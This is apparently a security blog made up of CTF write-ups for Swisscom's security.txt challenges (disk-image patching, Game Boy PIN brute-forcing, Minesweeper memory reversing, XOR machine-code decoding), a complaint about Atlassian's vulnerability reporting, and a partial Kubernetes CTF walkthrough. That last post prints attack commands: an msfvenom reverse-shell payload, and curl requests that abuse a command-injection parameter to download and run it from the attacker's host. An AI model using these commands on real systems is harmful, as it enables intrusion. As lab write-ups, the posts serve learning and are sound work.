Saturday, January 17, 2026

2025 Swisscom security.txt Challenge Writeup

For the last couple of years, I've been planting a CTF-like challenge as an easter egg in Swisscom's security.txt file (RFC 9116). The current challenge is here: https://www.swisscom.ch/.well-known/security.txt. All challenges are also archived on Github: https://github.com/swisscom/securitytxt. I thought it was about time to provide the solutions to the past challenges. You can find the writeup for 2024, 2023, and 2022 in posts tagged with securitytxt. Now let's continue with year 2025. You were given a base64-encoded URL leading to file 2025.woz. After downloading, let's try to identify it:

$ file 2025.woz
2025.woz: Apple ][ WOZ 2.0 Disk Image, 5.25 inch, ant0inet

It seems we're looking at a 5.25 inch floppy disk image for the Apple ][ computer, citing Wikipedia:

The Apple II (stylized as apple ][) is a personal computer released by Apple Inc. in June 1977. It was one of the first successful mass-produced microcomputer products and is widely regarded as one of the most important personal computers of all time due to its role in popularizing home computing and influencing later software development.

The Apple II was designed primarily by Steve Wozniak. The system is based around the 8-bit MOS Technology 6502 microprocessor.
  
The Apple II at first used data cassette storage, like most other microcomputers of the time. In 1978, the company introduced an external 5 1⁄4 inch floppy disk drive, called Disk II (stylized as Disk ][), attached through a controller card that plugs into one of the computer's expansion slots (usually slot 6). The Disk II interface, created by Wozniak, is regarded as an engineering masterpiece for its economy of electronic components.

Now, let's talk about the WOZ disk image file format, obviously named after Steve "The Woz" Wozniak. The format was created aside the Applesauce project, which provides hardware and software components for the digital preservation of floppy disks. The WOZ format was designed to preserve the physical aspects and to recreate an accurate image of a disk's structure and layout. It does this by capturing the magnetic flux signals off the read head. So instead of storing logical bits, the format stores digitized samples of analog signal levels. As an analogy, think of storing text as a recording of a morse code transmission in a WAV file instead of using ASCII. By doing this, it is possible to reproduce the quirks on the physical level that were exploited for copy protection. The WOZ format specification is publicly available and implemented in many Apple ][ emulators.

Applesauce Flux Image (source: archive.org)

 

Let's use MAME (multi-purpose emulation framwork) to emulate an Apple ][ and boot from the disk image. I love that the authors went so far as to emulate the Disk ]['s stepper motor sounds. You'll need the copyrighted ROM images to run the MAME Apple driver, or a public domain replacement. Let's choose the Apple //e model from 1983, since it supports more memory:

PS C:\> .\mame.exe apple2e -flop1 .\2025.woz -window 

Using AppleCommander to analyze the logical layout, we can observe that it's a DOS 3.3 bootable disk containing a set of Applesoft BASIC programs in tokenized format (A), a plain text file stored in ASCII format (T), and two machine language programs (B). You can go ahead and run or open the files, they will contain some (hopefully) fun references and useful hints to solve the challenge. Obviously, the file named FLAG will be of interest. However, running it will result in ERROR #8, which according to the Apple II DOS Manual (page 200) refers to an "I/O Error".

Let's have a quick look at the organization of a DOS 3.3 formatted disk. Each side of a diskette is divided in 35 concentric tracks, numbered from 0 to 34 (0x22). Each track is then divided in 16 sectors of 256 bytes. Therefore one diskette side has a total capacity of 35 * 16 * 256 = 143'360 bytes. However, 64 sectors (16 KB) are reserved for the system: the DOS code (boot sector and DOS routines, up to 48 sectors), the VTOC (volume table of contents, 1 sector), and the Catalog sectors (15 sectors).

The VTOC is anchored in the middle of the disk at track 17 / sector 0. It refers to the Catalog sectors (track 17 / sectors 1 - 15), which contain information about files, for example their name, attributes and a reference to the TS list sector. Finally, the TS list sector stores an ordered list of track/sector pairs allocated to the file, which contain the actual data.

Here's the breakdown for file "FLAG":

  • Catalog sector (track 17 / sector 15), offset 0x74: catalog entry for file FLAG
  • TS list (track 3 / sector 9): list of track/sectors allocated to file FLAG (81 sectors)
  • track 3 / sector 10 through track  8 / sector 10: file data

Using a disk utility such as Copy II Plus shows that something's wrong with the first sector of file FLAG, and there's no way to read/write the sector data!

Ok, so we need to dig deeper. I'll try my best to describe the underlying physical encoding and the corresponding mapping in the WOZ format, though I highly recommend Beneath Apple DOS for better understanding. At this level, data is stored as a continuous stream of analog signals. In the context of magnetic storage, state changes can be detected from a flux transition, i.e. a change of magnetic polarity on the disk surface. The disk drive's head generates a voltage pulse whenever passing over a transition.

So far we can represent zeros and ones. But when we start to group bits into bytes, or want to organize data into larger structures we are facing two main issues:

  1. Similar to placing the needle on the track of a vinyl record, we have no clue where the bit stream actually starts as soon as the read head is positioned over a track. We can't even locate the 8-bit byte boundaries, let alone the start of each sector on that track.
  2. We cannot rely on precise timings (e.g. due to varying spin rate), therefore a continuous synchronisation is needed to prevent losing the timing reference. The drive needs regular flux transitions, otherwise reading long strings of 0s or 1s will result in unreliable data transmission.

 To address the second point, Wozniak devised the following encoding rules for Disk ][:

  1. No more than two consecutive zero bits
  2. Every byte must start with a 1 bit

These rules mean that out of all possible 256 values only specific byte values are valid for writing to disk, which resulted in the 5-and-3 (DOS 3.2 and earlier) and 6-and-2 (DOS 3.3) GCR encoding. In the latter encoding, 3 bytes of user data (24 bits) are encoded in 4 bytes on disk (32 bits), resulting in a ratio of 3:4 (75% efficiency). Out of the set of "legal" bytes, 0xAA and 0xD5 were chosen as reserved values.

Since the reserved values would not occur in user data, there were used to mark the beginning of sectors. This means that at the moment the read head starts reading the bit stream from a new track, it waits until the special marker byte sequence [0xD5, 0xAA, 0x96] passes underneath.

Now, as described in this excellent article on Apple II Copy Protection, which was provided as hint, one could have chosen other reserved bytes to mark the beginning of a sector:

The easiest way to defeat a simple disk copy program is to alter the sector data in some way that’s consistent, but different from the standard.

Magic Bytes: Who says D5 AA 96 must mark the start of a sector? A copy protected disk might use D5 D5 96, or some other sequence that works just as well, assuming you’re looking for it. But a simple disk copy program will only be looking for D5 AA 96, so it will never find the start of those sectors. It will appear as if the disk is empty.

Let's investigate the data of track 3 by looking at the raw bit stream in the WOZ file and see if we can identify any sector markers. For this, I created a WOZ binary template for the 010 Editor, which parses its data structure.


The bit stream of track 3 is stored from offset 0x5400 to 0x6E00. When looking for sector markers, we expect to find 16 matching values of [0xD5, 0xAA, 0x96] in that range (16 sectors per track), but instead we only find 4 of them. The reason is that the bit stream is not aligned on a byte boundary. Therefore, let's look for occurences of bit-shifted versions of the sector marker:

  • D5 AA 96 (shift 0): 4 occurences
  • 6A D5 4B (shift 1): 0 occurences 
  • 35 6A A5 (shift 2): 4 occurences
  • 9A B5 52 (shift 3): 0 occurences
  • CD 5A A9 (shift 4): 3 occurences
  • E6 AD 54 (shift 5): 0 occurences
  • F3 56 AA (shift 6): 4 occurences
  • F9 AB 55 (shift 7): 0 occurences 

This only results in 15 sector markers, the missing one expected to be shifted by 4 bits. Now let's search for the modified sector marker [0xD5, 0xD5, 0x96], but also shifted by 4 bits: [0x5D, 0x59, 0x6F]. It occurs only once in the entire file at offset 0x6362. You will need to patch the file at that position with value [0x5A, 0xA9, 0x6F].

According to the WOZ format specification, the CRC32 value at offset 0x08 is optional, and can be set to 0. However, MAME will not run without the correct CRC32 value. To compute the value, use the checksum tool built in 010 editor. Otherwise, wozardry will also recompute the CRC32 anytime you edit the file (e.g. adding metadata).


 Now save the file, launch MAME again and BRUN the FLAG:


The first 10 people who wrote a message to the e-mail address with the solution received some Swisscom swag as a reward. Note: the e-mail address was chosen as a reference to the 1999 hacker/cyberpunk movie The Matrix, following the nomenclature of the meeting rooms in the Swisscom Cyber Defence offices. Any other references are explicitly excluded.

Monday, September 29, 2025

Bug Bounty is not a Replacement for Security Contacts

This post describes a frustrating experience I had recently, when I wanted to forward a vulnerability report to Atlassian. I am aware that my customer perspective is incomplete, and that I'm missing internal context of the security team handling the issue. Still, I wanted to share my conclusions from this episode. I believe the lapses I observed are symptoms of excessive rationalization, that are typical in corporate environments.

Some context first: I've been working for Swisscom in the bug bounty team for some years. The program is self-managed, i.e. it's not hosted on a bug bounty platform and triage of issues is performed in-house. Bug hunters are invited to submit their findings via a customer portal implemented on a Jira Service Management instance. Recently, we migrated to Atlassian's SaaS offering, due to their forced push to the cloud along with the ever increasing Data Center (i.e. on-prem) license prices.

I needed to contact Atlassian regarding a security issue with high technical impact. Both a vulnerability disclosure policy as well as security contacts according to RFC 9116 (security.txt) are provided. As a customer, you are redirected to the support portal, which in turn redirects to the different bug bounty programs hosted on Bugcrowd.


As a security researcher, you are also invited to submit the vulnerability details through the bug bounty program. In addition, the security contact security@atlassian.com is provided, same as in the security.txt:


There are several reasons to avoid an external bug bounty program when reporting a vulnerability. For example, researchers might not agree to the the terms and conditions imposed by the mandated bug bounty platform, they may value exposure over the financial reward, or simply want to stay anonymous. In this case, the vulnerability was initially discovered by a participant of the Swisscom bug bounty program. The intention was to bring the vulnerability to the attention of the Atlassian security team, both to ensure it was fixed and to provide proper recognition to the researcher. Therefore, I chose the e-mail contact, see timeline below. Unfortunately, Atlassian's response was below my expectations.

  • 2025-08-22 15:26 (Friday) Researcher submits vulnerability report on Swisscom bug bounty program
  • 2025-08-22 23:21 Swisscom acknowledges vulnerability report
  • 2025-08-22 23:53 Swisscom forwards report to security@atlassian.com and to the security contact of their Atlassian reseller, requesting a timeline of events, a retrospective assessment of potential exploitation, and a confidence of results (e.g. is log coverage sufficient to exclude exploitation)
  • 2025-08-22 23:54 Automated response from Atlassian security team: "Thank you for contacting Atlassian's security team. We have received your report. Please note that we may not provide individual responses to all submissions."
  • 2025-08-25 08:46 (Monday) Reseller confirms receipt of report, acknowledges the vulnerability and offers support in communication with Atlassian
  • 2025-08-25 07:12 Swisscom contacts researcher to clarify if a bug report was submitted on Bugcrowd
  • 2025-08-25 08:52 Researcher shares Bugcrowd submission ID of the newly created report
  • 2025-08-25 12:20 Researcher informs that the submission was rejected by teapot_bugcrowd, and that a reevaluation was requested
  • 2025-08-25 13:49 Swisscom requests a second confirmation of receipt from Atlassian security team, and informs that the researcher's submission was rejected on Bugcrowd
  • 2025-08-25 14:56 Swisscom shares vulnerability infos with NCSC-CH 
  • 2025-08-25 15:17 NCSC-CH confirms receipt of vulnerability information
  • 2025-08-26 09:50 (Tuesday) NCSC-CH offers to coordinate the vulnerability disclosure process, and to publish an advisory within its constituency (Swiss critical infrastructure operators) if the vendor remains un-responsive, based on Art. 73c, §2 of the Information Security Act (ISG)
  • 2025-08-27 06:28 (Wednesday) Swisscom requests a third confirmation of receipt from Atlassian security team and informs that NCSC-CH is involved
  • 2025-08-27 06:39 Reseller's security team suggests that Swisscom opens a support ticket
  • 2025-08-27 06:50 Swisscom opens a support ticket, subject to given support levels
  • 2025-08-27 08:49 Atlassian support acknowledges support ticket and assigns L4 (2 business days)
  • 2025-08-29 08:50 (Friday) Atlassian support transitions ticket to "Altassian Investigating"
  • 2025-09-01 06:12 (Monday) Atlassian security acknowledges the vulnerability, informs that the issue was remediated, and that the Bugcrowd submission will be reopened so that the researcher is rewarded

Finally, after a week's time, the report was acknowledged (and fixed!). I'm really glad that Atlassian provided the researcher a due reward for the finding.


In my impression, the security contact security@atlassian.com was not actionable. Only raising a customer support ticket got the expected attention instead, yet only with delayed handling. Also, the AI-based triage of Bugcrowd failed to identify and acknowledge the researcher's report. In my opinion, the whole point of VDP, security.txt, bug bounty, etc., is to make the process of reporting vulnerabilities as smooth as possible. I understand that the rise of beg bounties and AI slop necessitates coarser filtering measures, however the main focus should remain on removing roadblocks for legitimate reports. So unfortunately, both internal and external channels failed. 

Regarding the communication following Atlassian's compromise assessment: Atlassian does not provide access to application logs, leaving tenants with zero observability into actions within their instances, and therefore impairing their ability to perform independent security investigations. Initially, Atlassian stated they would only inform affected customers. I insisted to receive results regardless of our instance being affected or not. On 2025-09-12 06:10, Atlassian security informed that they concluded their investigation, and found no evidence of exploitation other than the bug hunter's activity. Unfortunately, they did not provide any details regarding the confidence of this information, as initially requested.

Under the constant pressure of rationalization, costs are cut, processes are optimized, and resources are often eliminated without replacement. The focus shifts excessively toward measurable outcomes, overseeing essential elements to the organization. Trust is one of those essential things that's not quantifiable...

The researcher described the technical details of the vulnerability here: A Critical Zero-Day in Atlassian Jira Service Management Cloud: Password Reset Account Takeover. Many thanks Mo Salah for your collaboration ❤️ and congratulations for this finding! 🏆

waiting for the @atlassian.bsky.social security team to react to a report of a product security vulnerability 😐

[image or embed]

— Baklava Monster, CISSP (@ant0i.net) August 27, 2025 at 7:06 AM

Yes, but... @yesbut.bsky.social

[image or embed]

— Baklava Monster, CISSP (@ant0i.net) August 27, 2025 at 8:39 AM

AI doing exactly what AI was designed for #rant

[image or embed]

— Baklava Monster, CISSP (@ant0i.net) August 27, 2025 at 8:52 AM

how i see atlassian security team

[image or embed]

— Baklava Monster, CISSP (@ant0i.net) August 28, 2025 at 6:54 AM

atlassian security team, 404 not found

[image or embed]

— Baklava Monster, CISSP (@ant0i.net) August 29, 2025 at 7:23 AM

no compassion with the atlassian security team

[image or embed]

— Baklava Monster, CISSP (@ant0i.net) August 29, 2025 at 5:40 PM

Monday, January 27, 2025

2024 Swisscom security.txt Challenge Writeup

For the last couple of years, I've been planting a CTF-like challenge as an easter egg in Swisscom's security.txt file (RFC 9116). The current challenge is here: https://www.swisscom.ch/.well-known/security.txt. All challenges are also archived on Github: https://github.com/swisscom/securitytxt. I thought it was about time to provide the solutions to the past challenges. You can find the writeup for 2023 and 2022 in my last posts here and here. Now let's continue with year 2024. You were given the following string:

aHR0cHM6Ly9naXRodWIuY29tL3N3aXNzY29tL3NlY3VyaXR5d
Hh0L2Jsb2IvbWFzdGVyL2NoYWxsZW5nZXMvMjAyNC5nYg==
As in the 2022 challenge, experienced blue teamers will quickly recognize the Base64 encoding as well as guess it's a URL, judging from the prefix. The decoded value links to a file named 2024.gb on the Swisscom github repository. A quick identification using the linux file command tells us it's a Nintendo Game Boy ROM:

$ file 2024.gb
2024.gb: Game Boy ROM image: "DEBRUIJN" (Rev.01) [ROM ONLY], ROM: 256Kbit
There is a myriad of Game Boy emulators to run the ROM on, here are only a few suggestions:

  • Emulicious multi-system emulator written in Java for Windows, Linux, MacOS, which provides nice debugging capabilities
  • GameBoy Online emulator written in Javascript that you can run off your browser
  • MAME (Multi Arcade Machine Emulator), the mother of all emulators

Here are some screenshots of the results, running on the different emulators. The screen shows an electronic circuit composed of a PIN-pad, a 4-digit 7-segment display, some ICs labeled PBKDF2, ROM, AES and VRAM.

Using the Game Boy's D-pad, you can move a cursor over the digits of the PIN-pad. When pressing the A or B button, the digit under the cursor will be left-shifted on the 7-segment display. The START button changes the screen to something, which looks like static from an old TV set. Pressing START again will restore the initial screen. One can repeat the operation and notice, that the static pattern changes for every value in the 7-segment display. However, the pattern is not totally random, it seems to have a repeated cycle and you can almost discern letters in the middle, which reminds of the ECB pinguin.

Therefore, the solution of the challenge seems to be a 4-digit combination, which will unlock the second screen. Initial guesses like for example 1234, 1337, or 4711 all fail, so there must be more to it. There are two obvious strategies to solve this crackme:

  1. Reverse-engineering the ROM image, to analyse the encryption mechanism
  2. Or, due to the limited numbers of combinations, brute-force all 10'000 PINs

I will opt for the latter. To implement the brute-force strategy, we need a scriptable emulator, that allows for automation of the PIN-pad inputs, and validation of the resulting screen. After some online search, the choice quickly falls on PyBoy, a Game Boy emulator written in Python, which provides an application programming interface (API). PyBoy is a very interesting project that is also used to build AIs for speedrunning.

After getting familiar with the API by studying the provided examples and the documentation, we'll need to implement some basic blocks to interact with the game elements:

  • The function move_to(target_digit) is used to move the cursor from the current position to the specified target digit using the shortest path. Note that the * and # keys are not reachable, therefore, some care needs to be taken for key 0, either as source or destination, since it lies in-between.
  • We need to keep track of the 4-digits of the 7-segment display. The current value is stored in the shift_reg array and the shift(n) function is used to insert a new digit.
  • Timing is important when pressing buttons, as the triggered operations will require a different number of CPU cycles (called ticks in PyBoy). We need to identify the least number of ticks for each operation in order to optimize the individual PIN validation cycle. 

Using these primitives, we can now proceed with the actual brute force logic. The obvious approach is to iterate through the whole range of 4-digit PINs, starting from 0000, 0001, 0002, ..., until we finally reach 9999. This means that for every iteration, we feed 4 digits into the shift register, check the screen output, and repeat. However, there's a faster way. Remember the output of the file command? The ROM is titled DEBRUIJN, after the Dutch mathematician, famously known for the de Bruijn sequence:

A de Bruijn sequence is a cyclic sequence that contains every possible combination of a given set of symbols (like 0s and 1s) of a certain length exactly once. For example, for binary symbols and combinations of length 2, the sequence "0011" works because it includes all pairs—00, 01, 10, 11—without repetition. It's used in areas like computer science, data compression, and DNA sequencing because it efficiently encodes all possible combinations in the shortest way possible.

Other applications of de Bruijn in cyber security are for example: Depixelization, hacking garage doors, or finding the offset for overflow exploits. We will need the sequence of order 4 over the digits 0-9. I used the Python code from Wikipedia for this. This will reduce each iteration to feeding only 1 digit into the shift register before checking the screen output.

The last task remains: how can we actually identify the "right" screen output? In a straightforward approach, we could just simply take a screenshot of the result of every iteration, the filename being the current PIN. Visual review of the 10k screenshots as thumbnails will only take a couple of minutes. On the other hand, we can assume that the right screen will not be scrambled, meaning it has less entropy than all wrong screens. Hence, we only need to keep track of the screen with the least entropy, saving lots of inodes on the way.

You can find the Python code on my Github repo, it takes less than 2 mins to solve the challenge on a generic laptop.

 

The first 10 people who wrote a message to the e-mail address with the solution received some Swisscom swag as a reward. Note: the e-mail address was chosen as a reference to the 1999 hacker/cyberpunk movie The Matrix, following the nomenclature of the meeting rooms in the Swisscom Cyber Defence offices. Any other references are explicitly excluded.



Sunday, January 26, 2025

2023 Swisscom security.txt Challenge Writeup

For the last couple of years, I've been planting a CTF-like challenge as an easter egg in Swisscom's security.txt file (RFC 9116). The current challenge is here: https://www.swisscom.ch/.well-known/security.txt. All challenges are also archived on Github: https://github.com/swisscom/securitytxt. I thought it was about time to provide the solutions to the past challenges. You can find the writeup for 2022 in my last post. Now let's continue with year 2023. You were given the following string: 

aHR0cHM6Ly9pbWd1ci5jb20vYS9kaFlkUXpq

Experienced blue teamers will quickly recognize the Base64 encoding as well as guess it's a URL, judging from the prefix. The decoded value is indeed a link to the following image on the image sharing platform imgur:

It's a screenshot of Microsoft Minesweeper featuring some bizarre content in the game field. The way the tiles are arranged certainly does not represent an achievable game state. The image also contains an MD5 hash 9C45D38B74634C9DED60BEC640C5C3CA. Using it, we can find references to the winmine.exe binary on VirusTotal or on The Internet Archive. This is the version of minesweeper which was was originally shipped with Windows XP in 2001. You can download the binary and make sure it matches the given MD5 hash:


Ok, so now we need to make some guesses and assumptions. We are eventually looking for a flag, a secret text, to solve the challenge. If we look at the game field, we see that the tiles are arranged on three lines. The different tiles might map to characters that form words. We will first need to understand how the game field and the tiles are represented in memory. It's safe to assume, that we'll be dealing with a 2-dimensional array of elements. However, note that the game allows to customize the dimensions. By default (beginner mode), it's a 9x9 field. In the screenshot, we have 9x21.

To better understand the inner workings of the program, we are going to proceed with a debugger for dynamic analysis. For this, I can highly recommend the open source x64dbg (you'll need to use the 32bit version, though), or if want to hack like it's 2001, you can also use Immunity Debugger or OllyDbg. First, we need identify the memory region of the game field. For this, we are going to exploit a cheat/easteregg, which - fun fact - already existed in previous Windows 3.1 versions of Minesweeper:

Type XYZZY and press [Shift][Enter]. The top left pixel on your screen will become white but turn black when your mouse is above a mine.

This will use the SetPixel() Windows API call provided in GDI32.dll, the Windows Graphics Device Interface. This is likely the only place the application will use this call, since it will rely on other, more abstract API calls to render all of the game elements instead. Run Minesweeper in the debugger, continue execution past the initial/default breakpoints, and apply the cheatcode. In the executable modules, look for the SetPixel symbol, listed as an export in gdi32.dll and set a breakpoint accordingly.



Now, hovering the cursor above a mine will trigger the breakpoint on the SetPixel() call. Going one step down the call stack, we can identify how the arguments are computed in the caller:

  • hDC: is the return value of the previous call to GetDC (this value is irrelevant)
  • X and Y: both originate from EDI, which has value 0. This confirms that we are setting the topmost/lefmost pixel of the screen.
  • Color: will be either 0x00000000 (black) or 0x00ffffff (white), depending on the value of EAX, which is the result of a computation involving a memory value at address 0x01005340.

By inspecting the memory values starting at memory address 0x01005340, we realize that there is a link to the displayed tiles on the game field. By editing the values in memory and some trial and error, we can start to understand the underlying layout. Starting at an offset of 32 bytes (at address 0x01005360), we can manipulate the displayed tiles by changing the bytes values:


After some exploration, we can devise that each row of the game field is stored using 32 bytes. As the game's dimensions can be changed, the actual fields are surrounded by "guard" values (0x10) each as top/bottom rows and left/right columns. The values depicted as XX below represent the actual tiles. The remaining values (0x0F) are just padding.

0x01005340: 0x10 0x10 0x10  0x10 0x10 0x10 0x10 ... 0x10
0x01005360: 0x10 XX XX XX ... XX 0x10 0x0F 0x0F ... 0x0F
0x01005380: 0x10 XX XX XX ... XX 0x10 0x0F 0x0F ... 0x0F
...
0x01005460: 0x10 XX XX XX ... XX 0x10 0x0F 0x0F ... 0x0F
0x01005480: 0x10 0x10 0x10  0x10 0x10 0x10 0x10 ... 0x10

In our case, using dimensions 9x21, the first row spans from memory addresses 0x01005361 to 0x01005375, the second row from 0x01005381 to 0x01005395, and so on, until the last row at addresses 0x01005461 to 0x01005475. By the way: all mentioned addresses will work for you as well, since winmine.exe does not support address space layout randomization (ASLR).

After we located the memory region, we still need to understand the mapping of bytes to tiles. For that, let's write a PyCommand for Immunity Debugger to fill out all possible values in the range 0-255 in memory:


There are two interesting observations:

  1. Even rows have a repeating pattern
  2. Odd rows are blank

From the first observation, we can derive that the different tile faces are represented using the 4 least significant bits. From the second observation, we derive that the 5th bit is a "blank" flag. Next is a mapping of printable ASCII characters to the corresponding tile faces. Due to the "blank" flag, only letters A-O can be recovered, and due to the repeating pattern, the mapping is ambiguous, e.g. the "Bomb with x" is either the + sign, or the letter k/K (fortunately, ASCII was designed such that uppercase and lowercase letters differ only in the 6th bit, which make them map to the same tile).

| Decimal | Binary    | Character | Tile Face       |
|---------|-----------|-----------|-----------------|
| 32      | 0100000   | Space     | Empty           |
| 33      | 0100001   | !         | 1
               |
| 34      | 0100010   | "         | 2               |
| 35      | 0100011   | #         | 3               |
| 36      | 0100100   | $         | 4               |
| 37      | 0100101   | %         | 5               |
| 38      | 0100110   | &         | 6               |
| 39      | 0100111   | '         | 7               |
| 40      | 0101000   | (         | 8              
|
| 41      | 0101001   | )         | Clicked ?       |
| 42      | 0101010   | *         | Black bomb      |
| 43      | 0101011   | +         | Bomb with x     |
| 44      | 0101100   | ,         | Bomb red bg     |
| 45      | 0101101   | -         | Unclicked ?     |
| 46      | 0101110   | .         | Flag            |
| 47      | 0101111   | /         | Unclicked Empty |
| 64      | 1000000   | @         | Empty           |
| 65      | 1000001   | A         | 1
               |
| 66      | 1000010   | B         | 2               |
| 67      | 1000011   | C         | 3               |
| 68      | 1000100   | D         | 4               |
| 69      | 1000101   | E         | 5               |
| 70      | 1000110   | F         | 6               |
| 71      | 1000111   | G         | 7               |
| 72      | 1001000   | H         | 8               |
| 73      | 1001001   | I         | Clicked ?       |
| 74      | 1001010   | J         | Black bomb      |
| 75      | 1001011   | K         | Bomb with x     |
| 76      | 1001100   | L         | Bomb red bg    
|
| 77      | 1001101   | M         | Unclicked ?     |
| 78      | 1001110   | N         | Flag            |
| 79      | 1001111   | O         | Unclicked Empty |
| 96      | 1100000   | `         | Empty           |
| 97      | 1100001   | a         | 1               |
| 98      | 1100010   | b         | 2               |
| 99      | 1100011   | c         | 3               |
| 100     | 1100100   | d         | 4               |
| 101     | 1100101   | e         | 5               |
| 102     | 1100110   | f         | 6               |
| 103     | 1100111   | g         | 7               |
| 104     | 1101000   | h         | 8               |
| 105     | 1101001   | i         | Clicked ?       |
| 106     | 1101010   | j         | Black bomb      |
| 107     | 1101011   | k         | Bomb with x     |
| 108     | 1101100   | l         | Bomb red bg     |
| 109     | 1101101   | m         | Unclicked ?     |
| 110     | 1101110   | n         | Flag            |
| 111     | 1101111   | o         | Unclicked Empty | |---------|-----------|-----------|-----------------|

Using this mapping, we can recover parts of the text. Every _ is then either a space, @, a backtick (`) or one of the letters P-Z:

GOOD_JOB!
_END_EMAIL__O
_ED._ILL___I__COM.COM

The first 10 people who wrote a message to the e-mail address received some Swisscom swag as a reward. Note: the e-mail address was chosen as a reference to the 1999 hacker/cyberpunk movie The Matrix, following the nomenclature of the meeting rooms in the Swisscom Cyber Defence offices. Any other references are explicitly excluded.

I hope you enjoyed solving this challenge. I got my inspiration for it after viewing the following video by jeFF0Falltrades: Reverse Engineering and Weaponizing XP Solitaire (Mini-Course).

Finally, here are some additional links and resources about Minesweeper you might enjoy:

Saturday, January 25, 2025

2022 Swisscom security.txt Challenge Writeup

For the last couple of years, I've been planting a CTF-like challenge as an easter egg in Swisscom's security.txt file (RFC 9116). The current challenge is here: https://www.swisscom.ch/.well-known/security.txt. All challenges are also archived on Github: https://github.com/swisscom/securitytxt. I thought it was about time to provide the solutions to the past challenges, so let's start with year 2022. You were given the following string:

48b8d8cfce84dac3c6c648890748b8ea
d9ddc3d9d9c9c54889470848b8c784c9
c5c7000000488947104831c98a040f34
aa88040f48ffc14883f91575ef

Given the composition of characters 0-9, a-f and the even length, it is safe to assume that it is hex-encoding. Interpreting the values is a bit harder though, it's probably not text, since there are many values outside of the range of ASCII printable characters (0x33 to 0x7e). So, some guessing is needed here (CyberChef is your friend), or you can also ask ChatGPT:

Please provide a concise answer. What does this hex represent? 48b8...5ef
This hex string represents x86-64 machine code (assembly instructions) for a specific program or function. To understand exactly what it does, it would need to be disassembled, revealing the instructions it corresponds to. It may include operations such as moving values to registers, arithmetic operations, or system calls.

Let's go ahead and analyse the machine code in a disassembler. Here's the output of the following CyberChef recipe:

Let's break down the code. Instructions in the violet box (addresses 0x00 to 0x25) are loading a total of 24 bytes into memory at an address stored in RDI (the exact address is unknown). The pattern to load a constant 64-bit (8 byte) value repeats three times:

  • Load an immediate value into register RAX
  • Store the value in RAX to the memory address stored in [RDI + offset]

Note that x86-64 uses little-endian format, therefore the resulting memory content at address referred by RDI is:

RDI+00    D8 CF CE 84 DA C3 C6 C6
RDI+08    EA D9 DD C3 D9 D9 C9 C5
RDI+16    C7 84 C9 C5 C7 00 00 00

Moving on, let's look at the instructions in the orange box (addresses 0x29 to 0x3b). This code iterates over 21 bytes in memory (from [RDI] to [RDI+20]), XOR-ing each byte with the value 0xaa (binary b10101010). Let's look at the instructions in detail:

  • XOR RCX, RCX: Clears RCX (sets it to 0). RCX will be used as the loop counter
  • MOV AL, BYTE PTR [RDI+RCX]: Load a byte from the memory address RDI with offset RCX into the low byte of RAX (AL)
  • XOR AL, AA: Perform an XOR operation between the byte in AL and the immediate value 0xaa
  • MOV BYTE PTR [RDI+RCX], AL: Write the result of the XOR operation back to memory address RDI at offset RCX.
  • CMP RCX, 0x15: Compare the current loop counter (ECX) with value 21 (decimal) 
  • JNE 0x2c: If the loop counter (RCX) is not equal to 21, jump back to the instruction at address 0x2c, which is where the XOR loop starts.

Note that the last instruction JNE (jump not equal/zero) is encoded as 75ef, which represents a short jump, i.e. a relative jump of -17 bytes from the current instruction pointer (EIP, address 0x3d). The resulting jump address is 0x2c. So the code is actually position independent.

After processing the XOR-loop the memory content is set as follows:

RDI+00  72 65 64 2e 70 69 6c 6c  |red.pill|
RDI+08  40 73 77 69 73 73 63 6f  |@swissco|
RDI+16  6d 2e 63 6f 6d 00 00 00  |m.com...|

The first 10 people who wrote a message to this e-mail address received some Swisscom swag as a reward. Note: the e-mail address was chosen as a reference to the 1999 hacker/cyberpunk movie The Matrix, following the nomenclature of the meeting rooms in the Swisscom Cyber Defence offices. Any other references are explicitly excluded.

Monday, June 10, 2024

k8s-challenge.redguard.ch

This year's (2024) Area41 security conference was amazing as always. One of the sponsors, Redguard AG announced a Kubernetes CTF challenge to be solved during the conference. My k8s knowledge being very limited, and the offered prizes looking awesome, I decided to take my chances. Unfortunately, I gave up before achieving the solution, because it had already stolen too much sleep. I still wanted to document the process to capture the gained knowledge for later reference.

 

 After registering with my address on the challenge page, I received the following instructions by email:

Your Kubernetes Challenge instance is now available at the following IP address: xxx.xxx.xxx.xxx.

Point your /etc/hosts for hello-world.tld to xxx.xxx.xxx.xxx. After you've done this "https://hello-world.tld/" will be your starting point.

Try to get full access to the master node and if you've found the flag at the end of the challenge (look for /root/flag.txt), please submit it at https://k8s-challenge.redguard.ch/flag?email=cookie@monster.com

Best of luck!

The Redguard Team

Reconnaissance 

I first performed a port scan using nmap to identify any exposed services on the target system. Several ports exposed a TLS connection. Their X.509 certificate attributes contained interesting information about the internal network setup. It's obviously a minikube setup with two nodes: 192.168.49.2 and 192.168.49.3, which I assumed to be the master node (the final target) and a worker node respectively.


The Kubernetes API seems to be exposed on port 32769, but access is protected:

Exploitation

After setting up Burp Suite with a hostname resolution override for hello-world.tld pointing to the specified IP address, I visited the target on port 443, which already provided the first hint:

 

I guessed that the author published a Docker image on dockerhub, by the name of disenchant/vulnerable-app-demo.

After pulling and running the image on my local Docker server, the vulnerability (aka backdoor) was easily identified in the index.php file. The code provides an OS command injection via the shell parameter.

I decided to dust off my Metasploit skills and to use a reverse_tcp meterpreter to gain initial access on the target system:

# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f elf > reverse.elf

I provided the binary on my attacking host with an ad-hoc web server using the Python http.server module:

# python3 -m http.server

Then, using the curl in the command injection, we can download the payload and make it executable:

# curl -k https://hello-world.tld/?shell=curl%20-o%2Ftmp%2Freverse.elf%20http%3A%2F%2Fxxx.xxx.xxx.xxx%2Freverse.elf

# curl -k https://hello-world.tld/?shell=chmod%20755%20%2Ftmp%2Freverse.elf

On the attacker side, start the Metasploit exploit/multi/handler module and then run the payload on the target to make it call home:

# curl -k https://hello-world.tld/?shell=%2Ftmp%2Freverse.elf

Post-Exploitation

restricted-viewer @ vulnerable-app-demo

Once on the host, let's look around at what we can find:

 

In addition, running linpeas gives a good overview of all interesting artifacts. For example, we could already identify the Kubernetes environment variables:

KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1

